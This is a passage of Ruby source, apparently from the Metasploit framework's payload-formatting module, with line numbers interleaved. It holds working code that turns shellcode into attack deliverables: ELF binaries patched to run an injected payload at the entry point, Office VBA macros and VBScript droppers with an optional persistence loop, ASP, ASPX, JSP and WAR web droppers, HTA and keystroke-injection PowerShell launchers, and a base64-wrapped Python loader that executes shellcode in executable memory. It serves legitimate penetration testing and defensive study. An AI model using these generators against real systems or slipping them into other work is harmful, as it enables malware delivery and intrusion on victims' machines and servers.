1008
zip.add_file("#{app_name}/Contents/MacOS/", '')
1009
# Add the macho and mark it as executable
1010
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
1011
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
1012
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
1013
zip.pack
1014
end
1015
1016
# Create an ELF executable containing the payload provided in +code+
1017
#
1018
# For the default template, this method just appends the payload, checks if
1019
# the template is 32 or 64 bit and adjusts the offsets accordingly
1020
# For user-provided templates, modifies the header to mark all executable
1021
# segments as writable and overwrites the entrypoint (usually _start) with
1022
# the payload.
1023
# @param framework [Msf::Framework] The framework of you want to use
1024
# @param opts [Hash]
1025
# @option [String] :template
1026
# @param template [String]
1027
# @param code [String]
1028
# @param big_endian [Boolean] Set to "false" by default
1029
# @return [String]
1030
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
1031
if elf? code
1032
return code
1033
end
1034
1035
# Allow the user to specify their own template
1036
set_template_default(opts, template)
1037
1038
# The old way to do it is like other formats, just overwrite a big
1039
# block of rwx mem with our shellcode.
1040
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
1041
#co = elf.index( " " * 512 )
1042
#elf[bo, 2048] = [code].pack('a2048') if bo
1043
1044
# The new template is just an ELF header with its entry point set to
1045
# the end of the file, so just append shellcode to it and fixup
1046
# p_filesz and p_memsz in the header for a working ELF executable.
1047
elf = self.get_file_contents(opts[:template])
1048
elf << code
1049
1050
# Check EI_CLASS to determine if the header is 32 or 64 bit
1051
# Use the proper offsets and pack size
1052
case elf[4,1].unpack("C").first
1053
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
1054
if big_endian
1055
elf[0x44,4] = [elf.length].pack('N') #p_filesz
1056
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
1057
else # little endian
1058
elf[0x44,4] = [elf.length].pack('V') #p_filesz
1059
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
1060
end
1061
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
1062
if big_endian
1063
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
1064
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
1065
else # little endian
1066
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
1067
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
1068
end
1069
else
1070
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
1071
end
1072
1073
elf
1074
end
1075
1076
# Create a 32-bit Linux ELF containing the payload provided in +code+
1077
#
1078
# @param framework [Msf::Framework] The framework of you want to use
1079
# @param code [String]
1080
# @param opts [Hash]
1081
# @option [String] :template
1082
# @return [String] Returns an elf
1083
def self.to_linux_x86_elf(framework, code, opts = {})
1084
default = true unless opts[:template]
1085
1086
if default
1087
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
1088
else
1089
# Use set_template_default to normalize the :template key. It will just end up doing
1090
# opts[:template] = File.join(opts[:template_path], opts[:template])
1091
# for us, check if the file exists.
1092
set_template_default(opts, 'template_x86_linux.bin')
1093
1094
# If this isn't our normal template, we have to do some fancy
1095
# header patching to mark the .text section rwx before putting our
1096
# payload into the entry point.
1097
1098
# read in the template and parse it
1099
e = Metasm::ELF.decode_file(opts[:template])
1100
1101
# This will become a modified copy of the template's original phdr
1102
new_phdr = Metasm::EncodedData.new
1103
e.segments.each { |s|
1104
# Be lazy and mark any executable segment as writable. Doing
1105
# it this way means we don't have to care about which one
1106
# contains .text
1107
s.flags += [ "W" ] if s.flags.include? "X"
1108
new_phdr << s.encode(e)
1109
}
1110
1111
# Copy the original file
1112
elf = self.get_file_contents(opts[:template], "rb")
1113
1114
# Replace the header with our rwx modified version
1115
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
1116
1117
# Replace code at the entrypoint with our payload
1118
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
1119
elf[entry_off, code.length] = code
1120
end
1121
1122
elf
1123
end
1124
1125
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
1126
#
1127
# @param framework [Msf::Framework]
1128
# @param code [String]
1129
# @param opts [Hash]
1130
# @option [String] :template
1131
# @return [String] Returns an elf
1132
def self.to_bsd_x86_elf(framework, code, opts = {})
1133
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
1134
end
1135
1136
# Create a 64-bit Linux ELF containing the payload provided in +code+
1137
#
1138
# @param framework [Msf::Framework]
1139
# @param code [String]
1140
# @param opts [Hash]
1141
# @option [String] :template
1142
# @return [String] Returns an elf
1143
def self.to_bsd_x64_elf(framework, code, opts = {})
1144
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
1145
end
1146
1147
# Create a 32-bit Solaris ELF containing the payload provided in +code+
1148
#
1149
# @param framework [Msf::Framework]
1150
# @param code [String]
1151
# @param opts [Hash]
1152
# @option [String] :template
1153
# @return [String] Returns an elf
1154
def self.to_solaris_x86_elf(framework, code, opts = {})
1155
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
1156
end
1157
1158
# Create a 64-bit Linux ELF containing the payload provided in +code+
1159
#
1160
# @param framework [Msf::Framework]
1161
# @param code [String]
1162
# @param opts [Hash]
1163
# @option [String] :template
1164
# @return [String] Returns an elf
1165
def self.to_linux_x64_elf(framework, code, opts = {})
1166
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
1167
end
1168
1169
# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+
1170
#
1171
# @param framework [Msf::Framework]
1172
# @param code [String]
1173
# @param opts [Hash]
1174
# @option [String] :template
1175
# @return [String] Returns an elf
1176
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1177
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
1178
end
1179
1180
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
1181
#
1182
# @param framework [Msf::Framework]
1183
# @param code [String]
1184
# @param opts [Hash]
1185
# @option [String] :template
1186
# @return [String] Returns an elf
1187
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
1188
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
1189
end
1190
1191
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1192
#
1193
# @param framework [Msf::Framework]
1194
# @param code [String]
1195
# @param opts [Hash]
1196
# @option [String] :template
1197
# @return [String] Returns an elf
1198
def self.to_linux_x64_elf_dll(framework, code, opts = {})
1199
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
1200
end
1201
1202
# self.to_linux_armle_elf
1203
#
1204
# @param framework [Msf::Framework]
1205
# @param code [String]
1206
# @param opts [Hash]
1207
# @option [String] :template
1208
# @return [String] Returns an elf
1209
def self.to_linux_armle_elf(framework, code, opts = {})
1210
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
1211
end
1212
1213
# self.to_linux_armle_elf_dll
1214
#
1215
# @param framework [Msf::Framework]
1216
# @param code [String]
1217
# @param opts [Hash]
1218
# @option [String] :template
1219
# @return [String] Returns an elf-so
1220
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1221
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
1222
end
1223
1224
# self.to_linux_aarch64_elf
1225
#
1226
# @param framework [Msf::Framework]
1227
# @param code [String]
1228
# @param opts [Hash]
1229
# @option [String] :template
1230
# @return [String] Returns an elf
1231
def self.to_linux_aarch64_elf(framework, code, opts = {})
1232
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
1233
end
1234
1235
# self.to_linux_ppc64_elf
1236
#
1237
# @param framework [Msf::Framework]
1238
# @param code [String]
1239
# @param opts [Hash]
1240
# @option [String] :template
1241
# @return [String] Returns an elf
1242
def self.to_linux_ppc64_elf(framework, code, opts = {})
1243
to_exe_elf(framework, opts, "template_ppc64_linux.bin", code, true)
1244
end
1245
# self.to_linux_mipsle_elf
1246
# Little Endian
1247
# @param framework [Msf::Framework]
1248
# @param code [String]
1249
# @param opts [Hash]
1250
# @option [String] :template
1251
# @return [String] Returns an elf
1252
def self.to_linux_mipsle_elf(framework, code, opts = {})
1253
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
1254
end
1255
1256
# self.to_linux_mipsbe_elf
1257
# Big Endian
1258
# @param framework [Msf::Framework]
1259
# @param code [String]
1260
# @param opts [Hash]
1261
# @option [String] :template
1262
# @return [String] Returns an elf
1263
def self.to_linux_mipsbe_elf(framework, code, opts = {})
1264
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
1265
end
1266
1267
# Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+
1268
#
1269
# @param framework [Msf::Framework]
1270
# @param code [String]
1271
# @param opts [Hash]
1272
# @option [String] :template
1273
# @return [String] Returns an elf
1274
def self.to_linux_riscv64le_elf(framework, code, opts = {})
1275
to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code)
1276
end
1277
1278
# Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+
1279
#
1280
# @param framework [Msf::Framework]
1281
# @param code [String]
1282
# @param opts [Hash]
1283
# @option [String] :template
1284
# @return [String] Returns an elf
1285
def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})
1286
to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code)
1287
end
1288
1289
# Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+
1290
#
1291
# @param framework [Msf::Framework]
1292
# @param code [String]
1293
# @param opts [Hash]
1294
# @option [String] :template
1295
# @return [String] Returns an elf
1296
def self.to_linux_riscv32le_elf(framework, code, opts = {})
1297
to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code)
1298
end
1299
1300
# Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+
1301
#
1302
# @param framework [Msf::Framework]
1303
# @param code [String]
1304
# @param opts [Hash]
1305
# @option [String] :template
1306
# @return [String] Returns an elf
1307
def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
1308
to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)
1309
end
1310
1311
# self.to_exe_vba
1312
#
1313
# @param exes [String]
1314
def self.to_exe_vba(exes='')
1315
exe = exes.unpack('C*')
1316
hash_sub = {}
1317
idx = 0
1318
maxbytes = 2000
1319
var_base_idx = 0
1320
var_base = Rex::Text.rand_text_alpha(5).capitalize
1321
1322
# First write the macro into the vba file
1323
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
1324
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
1325
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
1326
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
1327
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
1328
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
1329
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
1330
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
1331
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
1332
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
1333
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
1334
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
1335
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1336
1337
# Function 1 extracts the binary
1338
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
1339
1340
# Function 2 executes the binary
1341
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
1342
1343
hash_sub[:data] = ""
1344
1345
# Writing the bytes of the exe to the file
1346
1.upto(exe.length) do |pc|
1347
while c = exe[idx]
1348
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
1349
if idx > 1 && (idx % maxbytes) == 0
1350
# When maxbytes are written make a new paragrpah
1351
hash_sub[:data] << "\r\n"
1352
end
1353
idx += 1
1354
end
1355
end
1356
1357
read_replace_script_template("to_exe.vba.template", hash_sub)
1358
end
1359
1360
# self.to_vba
1361
#
1362
# @param framework [Msf::Framework]
1363
# @param code [String]
1364
# @param opts [Hash] Unused
1365
def self.to_vba(framework,code,opts = {})
1366
hash_sub = {}
1367
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1368
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1369
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1370
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1371
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1372
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1373
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1374
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1375
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1376
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1377
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1378
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1379
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1380
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1381
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1382
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1383
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1384
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1385
1386
# put the shellcode bytes into an array
1387
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
1388
1389
read_replace_script_template("to_mem.vba.template", hash_sub)
1390
end
1391
1392
# self.to_powershell_vba
1393
#
1394
# @param framework [Msf::Framework]
1395
# @param arch [String]
1396
# @param code [String]
1397
#
1398
def self.to_powershell_vba(framework, arch, code)
1399
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1400
1401
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1402
arch,
1403
template_path,
1404
encode_final_payload: true,
1405
remove_comspec: true,
1406
method: 'reflection')
1407
1408
# Initialize rig and value names
1409
rig = Rex::RandomIdentifier::Generator.new()
1410
rig.init_var(:sub_auto_open)
1411
rig.init_var(:var_powershell)
1412
1413
hash_sub = rig.to_h
1414
# VBA has a maximum of 24 line continuations
1415
line_length = powershell.length / 24
1416
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1417
1418
hash_sub[:powershell] = vba_psh
1419
1420
read_replace_script_template("to_powershell.vba.template", hash_sub)
1421
end
1422
1423
# self.to_exe_vba
1424
#
1425
# @param exes [String]
1426
# @param opts [Hash]
1427
# @option opts [String] :delay
1428
# @option opts [String] :persists
1429
# @option opts [String] :exe_filename
1430
def self.to_exe_vbs(exes = '', opts = {})
1431
delay = opts[:delay] || 5
1432
persist = opts[:persist] || false
1433
1434
hash_sub = {}
1435
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
1436
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
1437
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
1438
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1439
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1440
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1441
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1442
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1443
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1444
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1445
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
1446
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
1447
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
1448
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
1449
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
1450
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1451
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
1452
hash_sub[:init] = ""
1453
1454
if persist
1455
hash_sub[:init] << "Do\r\n"
1456
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1457
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
1458
hash_sub[:init] << "Loop\r\n"
1459
else
1460
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1461
end
1462
1463
read_replace_script_template("to_exe.vbs.template", hash_sub)
1464
end
1465
1466
# self.to_exe_asp
1467
#
1468
# @param exes [String]
1469
# @param opts [Hash] Unused
1470
def self.to_exe_asp(exes = '', opts = {})
1471
hash_sub = {}
1472
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
1473
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1474
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1475
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1476
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1477
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1478
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1479
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1480
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1481
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
1482
read_replace_script_template("to_exe.asp.template", hash_sub)
1483
end
1484
1485
# self.to_exe_aspx
1486
#
1487
# @param exes [String]
1488
# @option opts [Hash]
1489
def self.to_exe_aspx(exes = '', opts = {})
1490
hash_sub = {}
1491
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1492
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1493
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1494
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1495
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1496
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
1497
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1498
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
1499
read_replace_script_template("to_exe.aspx.template", hash_sub)
1500
end
1501
1502
def self.to_mem_aspx(framework, code, exeopts = {})
1503
# Initialize rig and value names
1504
rig = Rex::RandomIdentifier::Generator.new()
1505
rig.init_var(:var_funcAddr)
1506
rig.init_var(:var_hThread)
1507
rig.init_var(:var_pInfo)
1508
rig.init_var(:var_threadId)
1509
rig.init_var(:var_bytearray)
1510
1511
hash_sub = rig.to_h
1512
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
1513
1514
read_replace_script_template("to_mem.aspx.template", hash_sub)
1515
end
1516
1517
def self.to_win32pe_psh_net(framework, code, opts={})
1518
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1519
end
1520
1521
def self.to_win32pe_psh(framework, code, opts = {})
1522
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1523
end
1524
1525
#
1526
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
1527
# Tweaked by shellster
1528
# Originally from PowerSploit
1529
#
1530
def self.to_win32pe_psh_reflection(framework, code, opts = {})
1531
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1532
end
1533
1534
def self.to_powershell_command(framework, arch, code)
1535
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1536
Rex::Powershell::Command.cmd_psh_payload(code,
1537
arch,
1538
template_path,
1539
encode_final_payload: true,
1540
method: 'reflection')
1541
end
1542
1543
def self.to_powershell_ducky_script(framework, arch, code)
1544
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1545
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1546
arch,
1547
template_path,
1548
encode_final_payload: true,
1549
method: 'reflection')
1550
replacers = {}
1551
replacers[:var_payload] = powershell
1552
read_replace_script_template("to_powershell.ducky_script.template", replacers)
1553
end
1554
1555
def self.to_powershell_hta(framework, arch, code)
1556
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1557
1558
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1559
arch,
1560
template_path,
1561
encode_final_payload: true,
1562
remove_comspec: true,
1563
method: 'reflection')
1564
1565
# Initialize rig and value names
1566
rig = Rex::RandomIdentifier::Generator.new()
1567
rig.init_var(:var_shell)
1568
rig.init_var(:var_fso)
1569
1570
hash_sub = rig.to_h
1571
hash_sub[:powershell] = powershell
1572
1573
read_replace_script_template("to_powershell.hta.template", hash_sub)
1574
end
1575
1576
def self.to_python_reflection(framework, arch, code, exeopts)
1577
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
1578
raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
1579
end
1580
python_code = <<~PYTHON
1581
#{Rex::Text.to_python(code)}
1582
import ctypes,os
1583
if os.name == 'nt':
1584
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
1585
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
1586
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
1587
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
1588
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
1589
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1590
else:
1591
import mmap
1592
from ctypes.util import find_library
1593
c = ctypes.CDLL(find_library('c'))
1594
c.mmap.restype = ctypes.c_void_p
1595
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
1596
ctypes.memmove(ptr,buf,len(buf))
1597
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
1598
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
1599
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1600
PYTHON
1601
1602
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
1603
end
1604
1605
def self.to_win32pe_psh_msil(framework, code, opts = {})
1606
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1607
end
1608
1609
def self.to_win32pe_psh_rc4(framework, code, opts = {})
1610
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
1611
# this method should be called after other to_win32pe_psh_* methods to wrap the output
1612
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1613
end
1614
1615
def self.to_jsp(exe)
1616
hash_sub = {}
1617
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
1618
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1619
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1620
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
1621
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1622
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1623
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1624
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1625
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1626
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1627
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1628
1629
payload_hex = exe.unpack('H*')[0]
1630
hash_sub[:payload] = payload_hex
1631
1632
read_replace_script_template("to_exe.jsp.template", hash_sub)
1633
end
1634
1635
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1636
# payload. The jsp page converts the hexdump back to a normal binary file
1637
# and places it in the temp directory. The payload file is then executed.
1638
#
1639
# @see to_war
1640
# @param exe [String] Executable to drop and run.
1641
# @param opts (see to_war)
1642
# @option opts (see to_war)
1643
# @return (see to_war)
1644
def self.to_jsp_war(exe, opts = {})
1645
template = self.to_jsp(exe)
1646
self.to_war(template, opts)
1647
end
1648
1649
def self.to_win32pe_vbs(framework, code, opts = {})
1650
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1651
end
1652
1653
def self.to_win64pe_vbs(framework, code, opts = {})
1654
to_exe_vbs(to_win64pe(framework, code, opts), opts)
1655
end
1656
1657
# Creates a jar file that drops the provided +exe+ into a random file name
1658
# in the system's temp dir and executes it.
1659
#
1660
# @see Msf::Payload::Java
1661
#
1662
# @return [Rex::Zip::Jar]
1663
def self.to_jar(exe, opts = {})
1664
spawn = opts[:spawn] || 2
1665
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
1666
zip = Rex::Zip::Jar.new
1667
zip.add_sub("metasploit") if opts[:random]
1668
paths = [
1669
[ "metasploit", "Payload.class" ],
1670
]
1671
1672
zip.add_file('metasploit/', '')
1673
paths.each do |path_parts|
1674
path = ['java', path_parts].flatten.join('/')
1675
contents = ::MetasploitPayloads.read(path)
1676
zip.add_file(path_parts.join('/'), contents)
1677
end
1678
1679
zip.build_manifest :main_class => "metasploit.Payload"
1680
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1681
zip.add_file("metasploit.dat", config)
1682
zip.add_file(exe_name, exe)
1683
1684
zip
1685
end
1686
1687
# Creates a Web Archive (WAR) file from the provided jsp code.
1688
#
1689
# On Tomcat, WAR files will be deployed into a directory with the same name
1690
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
1691
# server is in a default configuration, deoployment will happen
1692
# automatically. See
1693
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
1694
# documentation} for a description of how this works.
1695
#
1696
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
1697
# in the archive. This will be compiled by the victim servlet container
1698
# (e.g., Tomcat) and act as the main function for the servlet.
1699
# @param opts [Hash]
1700
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
1701
# _without the .jsp extension_. Defaults to random.
1702
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
1703
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
1704
# random.
1705
# @option opts :extra_files [Array<String,String>] Additional files to add
1706
# to the archive. First element is filename, second is data
1707
#
1708
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
1709
#
1710
# @return [String]
1711
def self.to_war(jsp_raw, opts = {})
1712
jsp_name = opts[:jsp_name]
1713
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1714
app_name = opts[:app_name]
1715
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1716
1717
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1718
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1719
web_xml = %q{<?xml version="1.0"?>
1720
<!DOCTYPE web-app PUBLIC
1721
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1722
"http://java.sun.com/dtd/web-app_2_3.dtd">
1723
<web-app>
1724
<servlet>
1725
<servlet-name>NAME</servlet-name>
1726
<jsp-file>/PAYLOAD.jsp</jsp-file>
1727
</servlet>
1728
</web-app>
1729
}
1730
web_xml.gsub!('NAME', app_name)
1731
web_xml.gsub!('PAYLOAD', jsp_name)
1732
1733
zip = Rex::Zip::Archive.new
1734
zip.add_file('META-INF/', '', meta_inf)
1735
zip.add_file('META-INF/MANIFEST.MF', manifest)
1736
zip.add_file('WEB-INF/', '')
1737
zip.add_file('WEB-INF/web.xml', web_xml)
1738
# add the payload
1739
zip.add_file("#{jsp_name}.jsp", jsp_raw)
1740
1741
# add extra files
1742
if opts[:extra_files]
1743
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
1744
end
1745
1746
zip.pack
1747
end
1748
1749
# Creates a .NET DLL which loads data into memory
1750
# at a specified location with read/execute permissions
1751
# - the data will be loaded at: base+0x2065
1752
# - default max size is 0x8000 (32768)
1753
# @param base [Integer] Default location set to base 0x12340000
1754
# @param data [String]
1755
# @param opts [Hash]
1756
# @option [String] :template
1757
